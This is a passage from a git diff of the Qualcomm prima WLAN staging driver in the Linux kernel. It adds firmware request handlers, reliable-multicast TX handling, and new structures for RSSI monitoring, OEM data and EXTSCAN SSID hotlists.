{ + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + FL("Failure status %d"), status); + } + return CONVERT_WDI2VOS_STATUS(status); +} + #endif /* WLAN_FEATURE_EXTSCAN */ #ifdef WLAN_FEATURE_LINK_LAYER_STATS @@ -19741,3 +21555,305 @@ VOS_STATUS WDA_ProcessEnableDisableCAEventInd(tWDA_CbContext *pWDA, tANI_U8 val) } return CONVERT_WDI2VOS_STATUS(status) ; } + +/*========================================================================== + FUNCTION WDA_WifiConfigSetRspCallback + + DESCRIPTION + API to process set WifiConfig response from FW + + PARAMETERS + pRsp: Pointer to set WifiConfig response + pUserData: Pointer to user data + + RETURN VALUE + NONE + +===========================================================================*/ +void WDA_WifiConfigSetRspCallback(void *pEventData, void* pUserData) +{ + tWDA_ReqParams *pWdaParams = (tWDA_ReqParams *)pUserData; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "<------ %s " ,__func__); + + if(NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams received NULL", __func__); + VOS_ASSERT(0); + return ; + } + + if(NULL == pWdaParams->wdaMsgParam) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams->wdaMsgParam is NULL", __func__); + VOS_ASSERT(0); + vos_mem_free(pWdaParams); + return ; + } + + vos_mem_free(pWdaParams->wdaWdiApiMsgParam); + vos_mem_free(pWdaParams->wdaMsgParam); + vos_mem_free(pWdaParams); + + return; +} + +/*========================================================================== + FUNCTION WDA_ProcessWifiConfigReq + + DESCRIPTION + API to send Set WifiConfig params request to WDI + + PARAMETERS + pWDA: Pointer to WDA context + wdaRequest: Pointer to set WifiConfig req parameters +===========================================================================*/ + +VOS_STATUS WDA_ProcessWifiConfigReq(tWDA_CbContext *pWDA, + tSetWifiConfigParams *pwdaWificonfig) +{ + WDI_Status status = WDI_STATUS_SUCCESS; + WDI_WifiConfigSetReqType *pwdiWifConfigSetReqParams; + tWDA_ReqParams *pWdaParams ; + WDI_Status wstatus; + + /* Sanity Check*/ + if(NULL == pwdaWificonfig) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: tSetWifiConfigParams received NULL", __func__); + VOS_ASSERT(0) ; + return VOS_STATUS_E_FAULT; + } + + pwdiWifConfigSetReqParams = (WDI_WifiConfigSetReqType *)vos_mem_malloc( + sizeof(WDI_WifiConfigSetReqType)); + if(NULL == pwdiWifConfigSetReqParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(pwdaWificonfig); + return VOS_STATUS_E_NOMEM; + } + + pWdaParams = (tWDA_ReqParams *)vos_mem_malloc(sizeof(tWDA_ReqParams)) ; + if(NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(pwdiWifConfigSetReqParams); + vos_mem_free(pwdaWificonfig); + return VOS_STATUS_E_NOMEM; + } + pwdiWifConfigSetReqParams->paramType = pwdaWificonfig->paramType; + pwdiWifConfigSetReqParams->paramValue = pwdaWificonfig->paramValue; + vos_mem_copy(pwdiWifConfigSetReqParams->bssId, + &(pwdaWificonfig->bssId), sizeof(tSirMacAddr)); + + pWdaParams->pWdaContext = pWDA; + pWdaParams->wdaMsgParam = pwdaWificonfig; + pWdaParams->wdaWdiApiMsgParam = (void *)pwdiWifConfigSetReqParams; + + wstatus = WDI_WifiConfigSetReq(pwdiWifConfigSetReqParams, + (WDI_WifiConfigSetRspCb)WDA_WifiConfigSetRspCallback, + pWdaParams); + if(IS_WDI_STATUS_FAILURE(wstatus)) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Failure in sendind WifiConfigReq, free all the memory" ); + status = CONVERT_WDI2VOS_STATUS(wstatus); + vos_mem_free(pWdaParams->wdaWdiApiMsgParam) ; + vos_mem_free(pWdaParams->wdaMsgParam); + vos_mem_free(pWdaParams); + } + + return status; + +} + +#ifdef FEATURE_OEM_DATA_SUPPORT +/* + * FUNCTION: WDA_ProcessStartOemDataReqIndNew + * Request to WDI. + */ +VOS_STATUS WDA_ProcessStartOemDataReqIndNew(tWDA_CbContext *pWDA, + tOemDataReqNewConfig *pOemDataReqNewConfig) +{ + VOS_STATUS status = VOS_STATUS_SUCCESS; + WDI_Status wstatus; + WDI_OemDataReqNewConfig *wdiOemDataReqNewConfig; + + /* Sanity Check*/ + if(NULL == pOemDataReqNewConfig) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pOemDataReqNewConfig received NULL", __func__); + VOS_ASSERT(0) ; + return VOS_STATUS_E_FAULT; + } + + wdiOemDataReqNewConfig = (WDI_OemDataReqNewConfig *)vos_mem_malloc( + sizeof(WDI_OemDataReqNewConfig)); + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "------> %s " ,__func__); + + if(NULL == wdiOemDataReqNewConfig) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(pOemDataReqNewConfig); + return VOS_STATUS_E_NOMEM; + } + + vos_mem_copy(wdiOemDataReqNewConfig, pOemDataReqNewConfig, + sizeof(WDI_OemDataReqNewConfig)); + + wstatus = WDI_StartOemDataReqIndNew(wdiOemDataReqNewConfig); + + if (WDI_STATUS_PENDING == wstatus) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + FL("pending status received ")); + } + else if ((WDI_STATUS_SUCCESS_SYNC != wstatus) && (WDI_STATUS_SUCCESS != wstatus)) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + FL("Failure in OemDataReqIndNew WDI API, free all memory %d"), wstatus); + } + + vos_mem_free(wdiOemDataReqNewConfig); + vos_mem_free(pOemDataReqNewConfig); + + return status; +} + +void WDA_GetCurrentAntennaIndexCallback(WDI_Status status, void *params, + void *pUserData) +{ + tSirAntennaDiversitySelectionInfo *pAntennaDivSelInfo = + (tSirAntennaDiversitySelectionInfo *)pUserData; + + tSirAntennaDivSelRsp *resParams = (tSirAntennaDivSelRsp *)params; + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "<------ %s " ,__func__); + if (NULL == pAntennaDivSelInfo) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams received NULL", __func__); + VOS_ASSERT(0) ; + return ; + } + if (NULL == resParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: resParams received NULL", __func__); + VOS_ASSERT(0) ; + return ; + } + + if (pAntennaDivSelInfo->callback) + { + if (WDI_STATUS_SUCCESS == status) + { + pAntennaDivSelInfo->callback(resParams->selectedAntennaId, + pAntennaDivSelInfo->data); + } + else + { + pAntennaDivSelInfo->callback(-1, + pAntennaDivSelInfo->data); + } + } + + vos_mem_free(pUserData); + return; +} + +/* + * FUNCTION: WDA_ProcessAntennaDiversitySelectionReq + * Request to WDI. + */ +v_VOID_t WDA_ProcessAntennaDiversitySelectionReq(tWDA_CbContext *pWDA, + tSirAntennaDiversitySelectionReq *pData) +{ + WDI_Status wdiStatus; + tSirAntennaDiversitySelectionInfo *pAntennaDivSelInfo; + + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "------> %s " , __func__); + + pAntennaDivSelInfo = (tSirAntennaDiversitySelectionInfo *) + vos_mem_malloc(sizeof(tSirAntennaDiversitySelectionInfo)); + if (NULL == pAntennaDivSelInfo) + { + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(pData); + return; + } + + pAntennaDivSelInfo->callback = (tAntennaDivSelCB)(pData->callback); + pAntennaDivSelInfo->data = pData->data; + + wdiStatus = WDI_GetCurrentAntennaIndex(pAntennaDivSelInfo, + WDA_GetCurrentAntennaIndexCallback, pData->reserved); + + if (WDI_STATUS_PENDING == wdiStatus) + { + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "Pending received for %s:%d ", __func__, __LINE__); + } + else if (WDI_STATUS_SUCCESS != wdiStatus) + { + if (pAntennaDivSelInfo->callback) + { + pAntennaDivSelInfo->callback(-1, pAntennaDivSelInfo->data); + } + } + + vos_mem_free(pData); + return; +} + +/* + * FUNCTION: WDA_ProcessBcnMissPenaltyCount + * Request to WDI. + */ +VOS_STATUS WDA_ProcessBcnMissPenaltyCount(tWDA_CbContext *pWDA, + tModifyRoamParamsReqParams *params) +{ + WDI_Status status; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + FL("---> %s"), __func__); + + if (NULL == params) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + FL("tModifyRoamParamsReqParams is received NULL")); + return VOS_STATUS_E_NOMEM; + } + + status = WDI_SetBcnMissPenaltyCount((WDI_ModifyRoamParamsReqType *)params); + if (WDI_STATUS_PENDING == status) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + FL("pending status received ")); + } + else if (WDI_STATUS_SUCCESS_SYNC != status) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + FL("Failure status %d"), status); + } + vos_mem_free(params); + return CONVERT_WDI2VOS_STATUS(status) ; +} + +#endif diff --git a/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda_ds.c b/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda_ds.c index 5f3dfba1e26b0..2e303fb400d34 100644 --- a/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda_ds.c +++ b/drivers/staging/prima/CORE/WDA/src/wlan_qct_wda_ds.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -139,16 +139,17 @@ void WDA_TLI_FastHwFwdDataFrame } #endif /*WLAN_PERF*/ -void WDA_DS_RxLogCallback(void) +void WDA_DS_RxLogCallback(v_U8_t logType) { vos_msg_t vosMessage; - vosMessage.bodyptr = NULL; + vosMessage.bodyval = (v_U32_t)logType; vosMessage.reserved = 0; vosMessage.type = WDA_SEND_LOG_DONE_IND; - if (VOS_STATUS_SUCCESS != vos_mq_post_message( VOS_MQ_ID_WDA, &vosMessage )) + if (VOS_STATUS_SUCCESS != vos_mq_post_message( VOS_MQ_ID_WDA, &vosMessage )) { VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, "WLAN WDA:Posting DXE logging done indication failed" ); + } return; } @@ -443,6 +444,10 @@ WDA_DS_BuildTxPacketInfo WDI_DS_TxMetaInfoType* pTxMetaInfo = NULL; v_SIZE_t usMacAddrSize; wpt_FrameCtrl *pFrameControl; +#ifdef WLAN_FEATURE_RMC + WLANTL_CbType* pTLCb; + WLANTL_RMC_SESSION* pRMCSession; +#endif /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*/ /*------------------------------------------------------------------------ @@ -456,6 +461,20 @@ WDA_DS_BuildTxPacketInfo return VOS_STATUS_E_FAULT; } +#ifdef WLAN_FEATURE_RMC +/*---------------------------------------------------------------- + Extract TL control block + --------------------------------------------------------------*/ + pTLCb = VOS_GET_TL_CB(pvosGCtx); + if ( NULL == pTLCb ) + { + TLLOGE(VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "WLAN TL %s: pTLCb is NULL", __func__)); + + return VOS_STATUS_E_FAILURE; + } +#endif + /*------------------------------------------------------------------------ Extract TX Meta Info pointer from PAL packet ------------------------------------------------------------------------*/ @@ -530,6 +549,42 @@ WDA_DS_BuildTxPacketInfo // ADDR2 vos_copy_macaddr( (v_MACADDR_t*)pTxMetaInfo->addr2MACAddress, pAddr2 ); +#ifdef WLAN_FEATURE_RMC + if (pTLCb->rmcDataPathEnabled) + { + /*look up for mcast transmitter MAC address in TL's active rmc list*/ + if (((WDA_TLI_DATA_FRAME_TYPE >> 4) == pTxMetaInfo->frmType) && + (vos_is_macaddr_group(pvDestMacAddr))) + { + pRMCSession = + WLANTL_RmcLookUpRmcSession(pTLCb->rmcSession, + (v_MACADDR_t*)pTxMetaInfo->addr2MACAddress); + + if (pRMCSession) + { + if (0xFF == pvDestMacAddr->bytes[0]) + { + pTxMetaInfo->txFlags |= (HAL_USE_BD_RATE_1_MASK); + } + else + { + pTxMetaInfo->txFlags |= (HAL_RMC_REQUESTED_MASK); + + VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_INFO, + "RMC active for " MAC_ADDRESS_STR " RMC session", + MAC_ADDR_ARRAY(pRMCSession->rmcAddr.bytes)); + } + } + else + { + VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_INFO, + "RMC disabled for " MAC_ADDRESS_STR " RMC session", + MAC_ADDR_ARRAY(pTxMetaInfo->addr2MACAddress)); + } + } + } +#endif /*WLAN_FEATURE_RMC*/ + /* Dump TX meta infro for debugging */ VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_INFO_LOW, "WLAN TL: Dump TX meta info: " diff --git a/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi.h b/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi.h index 0b614bd2f7303..6f0864d8af321 100644 --- a/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi.h +++ b/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -395,12 +395,20 @@ typedef enum /* Periodic Tx Pattern FW Indication */ WDI_PERIODIC_TX_PTRN_FW_IND, +#ifdef WLAN_FEATURE_RMC + /* RMC_Ruler_Pick_New Indication */ + WDI_RMC_RULER_PICK_NEW, +#endif #ifdef FEATURE_WLAN_BATCH_SCAN /*Batch scan result indication from FW*/ WDI_BATCH_SCAN_RESULT_IND, #endif +#ifdef WLAN_FEATURE_RMC + WDI_TX_FAIL_IND, +#endif + #ifdef FEATURE_WLAN_CH_AVOID WDI_CH_AVOID_IND, #endif /* FEATURE_WLAN_CH_AVOID */ @@ -413,12 +421,16 @@ typedef enum WDI_EXTSCAN_SCAN_RESULT_IND, WDI_EXTSCAN_GET_CAPABILITIES_IND, WDI_EXTSCAN_BSSID_HOTLIST_RESULT_IND, - WDI_EXTSCAN_SIGN_RSSI_RESULT_IND, + WDI_EXTSCAN_SSID_HOTLIST_RESULT_IND, #endif /*Delete BA Ind*/ WDI_DEL_BA_IND, WDI_NAN_EVENT_IND, WDI_LOST_LINK_PARAMS_IND, + WDI_RSSI_BREACHED_IND, +#ifdef FEATURE_OEM_DATA_SUPPORT + WDI_START_OEM_DATA_RSP_IND_NEW, +#endif WDI_MAX_IND }WDI_LowLevelIndEnumType; @@ -533,6 +545,22 @@ typedef struct wpt_uint8 macAddr[WDI_MAC_ADDR_LEN]; }WDI_DHCPInd; +#ifdef WLAN_FEATURE_RMC +typedef struct +{ + /*Request status callback offered by UMAC - it is called if the current + req has returned PENDING as status; it delivers the status of sending + the message over the BUS */ + WDI_ReqStatusCb wdiReqStatusCB; + + /*The user data passed in by UMAC, it will be sent back when the above + function pointer will be called */ + void* pUserData; + + wpt_uint8 tx_fail_count; +}WDI_TXFailMonitorInd; +#endif /* WLAN_FEATURE_RMC */ + /*--------------------------------------------------------------------------- WDI_MacSSid @@ -735,6 +763,13 @@ typedef struct #endif +#ifdef WLAN_FEATURE_RMC +typedef struct +{ + wpt_uint8 seqNo; + wpt_uint8 macAddr[WDI_MAC_ADDR_LEN]; +} WDI_TXFailIndType; +#endif /* WLAN_FEATURE_RMC */ typedef struct { @@ -749,6 +784,13 @@ typedef struct }WDI_LostLinkParamsIndType; +typedef struct +{ + wpt_uint32 request_id; + wpt_uint8 bssId[WDI_MAC_ADDR_LEN]; + wpt_int8 rssi; +}WDI_RssiBreachedIndType; + /*--------------------------------------------------------------------------- WDI_IbssPeerInactivityIndType -----------------------------------------------------------------------------*/ @@ -759,6 +801,112 @@ typedef struct wpt_macAddr staMacAddr; }WDI_IbssPeerInactivityIndType; +#ifdef WLAN_FEATURE_RMC +/*--------------------------------------------------------------------------- + WDI_RmcRulerReqParams +-----------------------------------------------------------------------------*/ +typedef struct +{ + wpt_uint8 cmd; + + /* MAC address of MCAST Transmitter (source) */ + wpt_macAddr mcastTransmitter; + + /* MAC Address of Multicast Group (01-00-5E-xx-xx-xx) */ + wpt_macAddr mcastGroup; + + /* List of candidates for cmd = WLAN_HAL_SUGGEST_RULER*/ + wpt_macAddr blacklist[8]; /* HAL_NUM_MAX_RULERS */ + + /* + * Request status callback offered by UMAC - it is called if the current + * req has returned PENDING as status; it delivers the status of sending + * the message over the BUS + */ + WDI_ReqStatusCb wdiReqStatusCB; + +} WDI_RmcRulerReqParams; + +/*--------------------------------------------------------------------------- + WDI_RmcUpdateIndParams +-----------------------------------------------------------------------------*/ +typedef struct +{ + wpt_uint8 indication; /* tRmcUpdateIndType */ + + wpt_uint8 role; + + /* MAC address of MCAST Transmitter (source) */ + wpt_macAddr mcastTransmitter; + + /* MAC Address of Multicast Group (01-00-5E-xx-xx-xx) */ + wpt_macAddr mcastGroup; + + wpt_macAddr mcastRuler; + + wpt_macAddr ruler[16]; + + /* + * Request status callback offered by UMAC - it is called if the current + * req has returned PENDING as status; it delivers the status of sending + * the message over the BUS + */ + WDI_ReqStatusCb wdiReqStatusCB; + + /* + * The user data passed in by UMAC, it will be sent back when the above + * function pointer will be called + */ + void *pUserData; + +} WDI_RmcUpdateIndParams; + +typedef enum +{ + eWDI_SUGGEST_RULER_CMD = 0, + eWDI_BECOME_RULER_CMD = 1, +} eWDI_RulerRspCmdType; + +/*--------------------------------------------------------------------------- + WDI_RmcRspParamsType +-----------------------------------------------------------------------------*/ +typedef struct +{ + wpt_uint8 status; /* success or failure */ + + /* Command Type */ + eWDI_RulerRspCmdType cmd; + + /* MAC address of MCAST Transmitter (source) */ + wpt_macAddr mcastTransmitter; + + /* MAC Address of Multicast Group (01-00-5E-xx-xx-xx) */ + wpt_macAddr mcastGroup; + + wpt_macAddr ruler[8]; +} WDI_RmcRspParamsType; + +/*--------------------------------------------------------------------------- + WDI_RmcPickNewRuler +-----------------------------------------------------------------------------*/ +typedef struct +{ + wpt_uint8 indication; /* pick_new */ + + wpt_uint8 role; + + /* MAC address of MCAST Transmitter (source) */ + wpt_macAddr mcastTransmitter; + + /* MAC Address of Multicast Group (01-00-5E-xx-xx-xx) */ + wpt_macAddr mcastGroup; + + wpt_macAddr mcastRuler; + + wpt_macAddr ruler[16]; +} WDI_RmcPickNewRuler; +#endif + /*--------------------------------------------------------------------------- WDI_TxRateFlags -----------------------------------------------------------------------------*/ @@ -795,10 +943,10 @@ typedef struct * 0 implies MCAST RA, positive value implies fixed rate, * -1 implies ignore this param */ - wpt_int32 reliableMcastDataRate; //unit Mbpsx10 + wpt_int32 rmcDataRate; //unit Mbpsx10 /* TX flag to differentiate between HT20, HT40 etc */ - WDI_TxRateFlags reliableMcastDataRateTxFlag; + WDI_TxRateFlags rmcDataRateTxFlag; /* * MCAST(or BCAST) fixed data rate in 2.4 GHz, unit Mbpsx10, @@ -897,6 +1045,19 @@ typedef struct wpt_uint32 tx_complete_status; wpt_uint32 tx_bd_token; } WDI_TxBDStatus; + +#ifdef FEATURE_OEM_DATA_SUPPORT +/*---------------------------------------------------------------------------- + OEM DATA RESPONSE - DATA STRUCTURES +----------------------------------------------------------------------------*/ +typedef struct +{ + void *pOemRspNewIndData; + /* Max OemRspNewLen possible is NEW_OEM_DATA_RSP_SIZE*/ + wpt_uint32 OemRspNewLen; +} WDI_OemDataRspNew; +#endif + /*--------------------------------------------------------------------------- WDI_LowLevelIndType Inidcation type and information about the indication being carried @@ -957,11 +1118,19 @@ typedef struct /* Periodic TX Pattern FW Indication */ WDI_PeriodicTxPtrnFwIndType wdiPeriodicTxPtrnFwInd; +#ifdef WLAN_FEATURE_RMC + WDI_RmcPickNewRuler wdiRmcPickNewRulerInd; +#endif /* WLAN_FEATURE_RMC */ + #ifdef FEATURE_WLAN_BATCH_SCAN /*batch scan result indication from FW*/ void *pBatchScanResult; #endif +#ifdef WLAN_FEATURE_RMC + WDI_TXFailIndType wdiTXFailInd; +#endif /* WLAN_FEATURE_RMC */ + #ifdef FEATURE_WLAN_CH_AVOID WDI_ChAvoidIndType wdiChAvoidInd; #endif /* FEATURE_WLAN_CH_AVOID */ @@ -980,6 +1149,11 @@ typedef struct WDI_TxBDStatus wdiTxBdInd; WDI_LostLinkParamsIndType wdiLostLinkParamsInd; + WDI_RssiBreachedIndType wdiRssiBreachedInd; +#ifdef FEATURE_OEM_DATA_SUPPORT +/*OEM Data Rsp New Results from FW*/ + WDI_OemDataRspNew wdiOemDataRspNew; +#endif } wdiIndicationData; }WDI_LowLevelIndType; @@ -2703,13 +2877,24 @@ typedef struct wpt_uint8 logMailBoxVer; //Qshrink is enabled wpt_boolean logCompressEnabled; + /* store the size of fw mem dump */ + wpt_uint32 fw_mem_dump_max_size; //Reserved for future purpose - wpt_uint32 reserved0; wpt_uint32 reserved1; wpt_uint32 reserved2; }WDI_FWLoggingInitRspParamType; +typedef struct +{ + /* wdi status */ + wpt_uint32 status; +}WDI_RssiMonitorStartRspParamType; +typedef struct +{ + /* wdi status */ + wpt_uint32 status; +}WDI_RssiMonitorStopRspParamType; /*--------------------------------------------------------------------------- WDI_FatalEventLogsRspParamType ---------------------------------------------------------------------------*/ @@ -4102,6 +4287,14 @@ typedef struct wpt_uint8 maxLogBufferSize; }WDI_FWLoggingInitReqInfoType; +typedef struct +{ + wpt_uint32 requestId; + wpt_uint8 minRssi; + wpt_uint8 maxRssi; + wpt_macAddr currentBssId; +}WDI_RssiMonitorReqInfoType; + typedef struct { wpt_uint32 reason_code; @@ -4115,8 +4308,9 @@ typedef struct typedef struct { + wpt_uint16 status; + wpt_uint16 doneIndicationForSource; wpt_uint64 logBuffAddress[MAX_NUM_OF_BUFFER]; - wpt_uint32 status; wpt_uint32 logBuffLength[MAX_NUM_OF_BUFFER]; }WDI_FWLoggingDXEdoneIndInfoType; @@ -4639,6 +4833,14 @@ typedef struct #define OEM_DATA_RSP_SIZE 1968 #endif +#ifndef NEW_OEM_DATA_REQ_SIZE +#define NEW_OEM_DATA_REQ_SIZE 292 +#endif + +#ifndef NEW_OEM_DATA_RSP_SIZE +#define NEW_OEM_DATA_RSP_SIZE 2100 +#endif + /*---------------------------------------------------------------------------- WDI_oemDataReqInfoType ----------------------------------------------------------------------------*/ @@ -4675,6 +4877,19 @@ typedef struct wpt_uint8 oemDataRsp[OEM_DATA_RSP_SIZE]; }WDI_oemDataRspParamsType; +/*---------------------------------------------------------------------------- + OEM DATA REQ NEW/OEM DATA RSP NEW - DATA STRUCTURES +----------------------------------------------------------------------------*/ +/* Structure for defining req sent to the PE */ +typedef struct +{ + wpt_macAddr selfMacAddr; + wpt_uint8 reserved[2]; + wpt_uint8 oemDataReqNew[NEW_OEM_DATA_REQ_SIZE]; +} WDI_OemDataReqNew, WDI_OemDataReqNewConfig; + +/*************************************************************************************************************/ + #endif /* FEATURE_OEM_DATA_SUPPORT */ #ifdef WLAN_FEATURE_VOWIFI_11R @@ -5367,6 +5582,23 @@ typedef struct function pointer will be called */ void* pUserData; } WDI_RoamScanOffloadReqParamsType; + +typedef struct +{ + wpt_uint32 requestId; + wpt_uint32 rateUpThreshold; + wpt_uint32 rateDownThreshold; + wpt_uint32 isPERRoamCCAEnabled; + wpt_uint32 waitPeriodForNextPERScan; + wpt_uint32 PERtimerThreshold; + wpt_uint32 PERroamTriggerPercent; + wpt_int16 PERRoamFullScanThreshold; +} WDI_PERRoamOffloadScanInfo; + +typedef struct +{ + wpt_boolean roamScanReq; // Request info for all peers +} WDI_PERRoamTriggerScanInfo; #endif //WLAN_FEATURE_ROAM_SCAN_OFFLOAD /*--------------------------------------------------------------------------- @@ -5837,12 +6069,64 @@ typedef struct void* pUserData; } WDI_DelPeriodicTxPtrnParamsType; +#ifdef WLAN_FEATURE_RMC +/*--------------------------------------------------------------------------- + WDI_IbssPeerInfoParams +---------------------------------------------------------------------------*/ +typedef struct +{ + wpt_uint8 wdiStaIdx; //StaIdx + wpt_uint32 wdiTxRate; //Tx Rate + wpt_uint32 wdiMcsIndex; //MCS Index + wpt_uint32 wdiTxRateFlags; //TxRate Flags + wpt_int8 wdiRssi; //RSSI +}WDI_IbssPeerInfoParams; + +/*--------------------------------------------------------------------------- + WDI_IbssPeerInfoRspParams +---------------------------------------------------------------------------*/ +typedef struct +{ + wpt_uint32 wdiStatus; // Return status + wpt_uint8 wdiNumPeers; // Number of peers + WDI_IbssPeerInfoParams *wdiPeerInfoParams; // Peer Info parameters +}WDI_IbssPeerInfoRspParams; + +/*--------------------------------------------------------------------------- + WDI_GetIbssPeerInfoRspType +---------------------------------------------------------------------------*/ +typedef struct +{ + WDI_IbssPeerInfoRspParams wdiPeerInfoRspParams; + + /*Request status callback offered by UMAC - it is called if the current + req has returned PENDING as status; it delivers the status of sending + the message over the BUS */ + WDI_ReqStatusCb wdiReqStatusCB; + + /*The user data passed in by UMAC, it will be sent back when the above + function pointer will be called */ + void* pUserData; +}WDI_GetIbssPeerInfoRspType; + +/*--------------------------------------------------------------------------- + WDI_IbssPeerInfoReqType +---------------------------------------------------------------------------*/ +typedef struct +{ + wpt_boolean wdiAllPeerInfoReqd; // Request info for all peers + wpt_uint8 wdiStaIdx; // STA Index + wpt_uint8 wdiBssIdx; // BSS Index +}WDI_IbssPeerInfoReqType; + +#endif /* WLAN_FEATURE_RMC */ + #ifdef WLAN_FEATURE_EXTSCAN #define WDI_WLAN_EXTSCAN_MAX_CHANNELS 16 #define WDI_WLAN_EXTSCAN_MAX_BUCKETS 16 #define WDI_WLAN_EXTSCAN_MAX_HOTLIST_APS 128 -#define WDI_WLAN_EXTSCAN_MAX_SIGNIFICANT_CHANGE_APS 64 +#define WDI_WLAN_EXTSCAN_MAX_HOTLIST_SSID 8 typedef enum { @@ -5889,6 +6173,10 @@ typedef struct */ wpt_uint8 reportEvents; + wpt_uint32 max_period; + wpt_uint32 exponent; + wpt_uint32 step_count; + wpt_uint8 numChannels; /* @@ -5905,8 +6193,10 @@ typedef struct wpt_uint32 maxAPperScan; /* in %, when buffer is this much full, wake up host */ - wpt_uint32 reportThreshold; + wpt_uint32 reportThresholdPercent; + wpt_uint32 reportThresholdNumScans; + wpt_uint32 homeAwayTime; //in units of milliseconds wpt_uint8 numBuckets; WDI_WifiScanBucketSpec buckets[WDI_WLAN_EXTSCAN_MAX_BUCKETS]; } WDI_EXTScanStartReqParams; @@ -5940,15 +6230,22 @@ typedef struct wpt_uint8 bssid[6]; /* BSSID */ wpt_int32 low; // low threshold wpt_int32 high; // high threshold - wpt_uint32 channel; // channel hint } WDI_APThresholdParam; +typedef struct +{ + WDI_MacSSid ssid; /* SSID */ + wpt_uint8 band; /* band */ + wpt_int32 lowRssiThreshold; /* low threshold */ + wpt_int32 highRssiThreshold; /* high threshold */ +} WDI_SSIDThresholdParam; + typedef struct { wpt_int32 requestId; wpt_int8 sessionId; // session Id mapped to vdev_id - - wpt_int32 numAp; // number of hotlist APs + wpt_uint32 lostBssidSampleSize; + wpt_int32 numBssid; // number of hotlist APs WDI_APThresholdParam ap[WDI_WLAN_EXTSCAN_MAX_HOTLIST_APS]; // hotlist APs } WDI_EXTScanSetBSSIDHotlistReqParams; @@ -5958,32 +6255,27 @@ typedef struct wpt_uint8 sessionId; } WDI_EXTScanResetBSSIDHotlistReqParams; +typedef struct +{ + wpt_boolean pause; + wpt_uint32 reserved; +} WDI_HighPriorityDataInfoIndParams; typedef struct { wpt_int32 requestId; wpt_int8 sessionId; // session Id mapped to vdev_id - - /* number of samples for averaging RSSI */ - wpt_int32 rssiSampleSize; - - /* number of missed samples to confirm AP loss */ - wpt_int32 lostApSampleSize; - - /* number of APs breaching threshold required for firmware - * to generate event - */ - wpt_int32 minBreaching; - - wpt_int32 numAp; // number of hotlist APs - WDI_APThresholdParam ap[WDI_WLAN_EXTSCAN_MAX_HOTLIST_APS]; // hotlist APs -} WDI_EXTScanSetSignfRSSIChangeReqParams; + wpt_uint32 lostSsidSampleSize; + wpt_uint32 numSsid; // number of hotlist APs + WDI_SSIDThresholdParam ssid[WDI_WLAN_EXTSCAN_MAX_HOTLIST_SSID]; // hotlist SSIDs +} WDI_EXTScanSetSSIDHotlistReqParams; typedef struct { wpt_uint32 requestId; wpt_uint8 sessionId; -} WDI_EXTScanResetSignfRSSIChangeReqParams; +} WDI_EXTScanResetSSIDHotlistReqParams; + #endif /* WLAN_FEATURE_EXTSCAN */ #ifdef WLAN_FEATURE_LINK_LAYER_STATS @@ -6142,6 